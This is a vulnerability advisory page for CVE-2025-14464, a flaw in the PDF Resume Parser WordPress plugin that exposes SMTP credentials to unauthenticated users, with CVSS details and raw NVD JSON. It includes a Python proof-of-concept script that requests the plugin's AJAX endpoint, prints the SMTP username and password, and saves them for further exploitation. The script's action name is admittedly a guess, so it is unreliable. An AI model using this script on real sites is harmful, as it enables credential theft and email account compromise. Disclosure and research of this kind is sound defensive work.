Security Vulnerability Report
中文
CVE-2025-14464 CVSS 5.3 MEDIUM

CVE-2025-14464

Published: 2026-01-14 06:15:52
Last Modified: 2026-04-15 00:35:42

Description

The PDF Resume Parser plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 1.0. This is due to the plugin registering an AJAX action handler that is accessible to unauthenticated users and exposes SMTP configuration data including credentials. This makes it possible for unauthenticated attackers to extract sensitive SMTP credentials (username and password) from the WordPress configuration, which could be leveraged to compromise email accounts and potentially gain unauthorized access to other systems using the same credentials.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

PDF Resume Parser plugin for WordPress <= 1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2025-14464 PoC - Sensitive Information Exposure # Target: WordPress site with PDF Resume Parser plugin < 1.0 target_url = "http://target-wordpress-site.com/wp-admin/admin-ajax.php" # The vulnerable AJAX action that exposes SMTP credentials # Based on the vulnerability description, the plugin registers # an AJAX handler accessible to unauthenticated users payload = { "action": "pdf_resume_parser_get_smtp_config", # Vulnerable action name # Additional parameters may be required depending on plugin version } try: response = requests.post(target_url, data=payload, timeout=10) if response.status_code == 200: result = response.json() print("[+] SMTP Configuration Retrieved:") print(f"Host: {result.get('smtp_host', 'N/A')}") print(f"Port: {result.get('smtp_port', 'N/A')}") print(f"Username: {result.get('smtp_user', 'N/A')}") print(f"Password: {result.get('smtp_pass', 'N/A')}") print(f"From Email: {result.get('smtp_from', 'N/A')}") # Save credentials for further exploitation with open("smtp_creds.txt", "w") as f: f.write(f"Host: {result.get('smtp_host')}\n") f.write(f"Username: {result.get('smtp_user')}\n") f.write(f"Password: {result.get('smtp_pass')}\n") print("[+] Credentials saved to smtp_creds.txt") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") # Note: Replace 'pdf_resume_parser_get_smtp_config' with actual action name # discovered through source code analysis or enumeration

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14464", "sourceIdentifier": "[email protected]", "published": "2026-01-14T06:15:52.440", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The PDF Resume Parser plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 1.0. This is due to the plugin registering an AJAX action handler that is accessible to unauthenticated users and exposes SMTP configuration data including credentials. This makes it possible for unauthenticated attackers to extract sensitive SMTP credentials (username and password) from the WordPress configuration, which could be leveraged to compromise email accounts and potentially gain unauthorized access to other systems using the same credentials."}, {"lang": "es", "value": "El plugin PDF Resume Parser para WordPress es vulnerable a la exposición de información sensible en todas las versiones hasta la 1.0, inclusive. Esto se debe a que el plugin registra un manejador de acción AJAX que es accesible para usuarios no autenticados y expone datos de configuración SMTP, incluyendo credenciales. Esto hace posible que atacantes no autenticados extraigan credenciales SMTP sensibles (nombre de usuario y contraseña) de la configuración de WordPress, lo que podría ser aprovechado para comprometer cuentas de correo electrónico y potencialmente obtener acceso no autorizado a otros sistemas utilizando las mismas credenciales."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/pdf-resume-parser/tags/1.0/pdf-resume-parser.php#L309", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/pdf-resume-parser/trunk/pdf-resume-parser.php#L309", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/8a84bcc2-23e0-4624-89a4-7bbb1b34c498?source=cve", "source": "[email protected]"}]}}